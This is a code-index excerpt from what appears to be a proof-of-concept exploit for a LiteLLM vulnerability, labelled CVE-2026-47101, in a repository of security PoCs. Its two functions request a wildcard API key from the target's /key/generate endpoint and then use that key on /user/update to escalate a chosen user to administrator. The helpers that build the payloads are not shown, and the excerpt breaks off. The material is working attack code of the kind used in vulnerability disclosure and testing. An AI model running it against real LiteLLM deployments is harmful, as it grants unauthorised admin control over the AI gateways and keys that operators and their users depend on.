INNER CODE UNIT · Python

generate_wildcard_key

Unclecheng-li/poc-lab · AI Infrastructure/CVE-2026-47101 LiteLLM/exploit/exploit.py:92

def generate_wildcard_key(target: str, token: str) -> str:
    url = f"{target.rstrip('/')}/key/generate"
    resp = api_post(url, token, build_key_generate_payload())
    data = safe_json(resp)
    if resp.status_code >= 300:
        raise RuntimeError(f"Wildcard key generation failed: HTTP {resp.status_code} {data}")
    key = data.get("key") or data.get("token") or data.get("api_key")
    if not key:
        raise RuntimeError(f"Unexpected key generation response: {data}")
    return str(key)


def escalate_to_admin(target: str, wildcard_key: str, user_id: str) -> dict[str, Any]:
    url = f"{target.rstrip('/')}/user/update"
    resp = api_post(url, wildcard_key, build_user_update_payload(user_id=user_id))
    data = safe_json(resp)
    if resp.status_code >= 300:
        raise RuntimeError(f"Privilege escalation failed: HTTP {resp.status_code} {data}")

View source record →